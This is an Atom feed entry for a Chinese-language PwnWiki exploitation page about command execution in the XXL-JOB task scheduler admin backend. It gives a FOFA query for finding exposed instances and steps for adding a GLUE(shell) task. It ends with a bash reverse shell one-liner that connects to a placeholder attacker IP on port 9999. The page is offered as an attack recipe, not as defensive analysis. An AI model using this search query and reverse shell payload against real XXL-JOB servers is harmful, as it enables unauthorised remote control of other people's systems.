https://pwnwiki.com/index.php?action=history&feed=atom&title=XXL-JOB_%E4%BB%BB%E5%8B%99%E8%AA%BF%E5%BA%A6%E4%B8%AD%E5%BF%83_%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
XXL-JOB 任務調度中心 後台任意命令執行漏洞 - Revision history
2026-04-10T06:51:32Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=XXL-JOB_%E4%BB%BB%E5%8B%99%E8%AA%BF%E5%BA%A6%E4%B8%AD%E5%BF%83_%E5%BE%8C%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=2752&oldid=prev
Pwnwiki: Created page with "==FOFA== <pre> app="XXL-JOB" || title="任务调度中心" </pre> ==漏洞利用== 登錄後台增加一個任務: 600px 注意運行模式需要為 GL..."
2021-05-10T02:41:36Z
<p>Created page with "==FOFA== <pre> app="XXL-JOB" || title="任务调度中心" </pre> ==漏洞利用== 登錄後台增加一個任務: <a href="/index.php?title=File:Xxl-4.png" title="File:Xxl-4.png"> 600px</a> 注意運行模式需要為 GL..."</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
app="XXL-JOB" || title="任务调度中心"<br />
</pre><br />
<br />
==漏洞利用==<br />
登錄後台增加一個任務:<br />
<br />
[[File:Xxl-4.png | 600px]]<br />
<br />
注意運行模式需要為 GLUE(shell)<br />
<br />
<br />
[[File:Xxl-5.png | 600px]]<br />
<br />
點擊 GLUE IDE編輯腳本<br />
<br />
<br />
[[File:Xxl-6.png | 600px]]<br />
<br />
[[File:Xxl-7.png | 600px]]<br />
<br />
執行探測出網，和任務調用是否可執行<br />
<br />
反彈一個shell<br />
<pre><br />
#!/bin/bash<br />
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'<br />
</pre><br />
<br />
<br />
==參考==<br />
https://short.pwnwiki.org/?c=PaRcxf</div>
Pwnwiki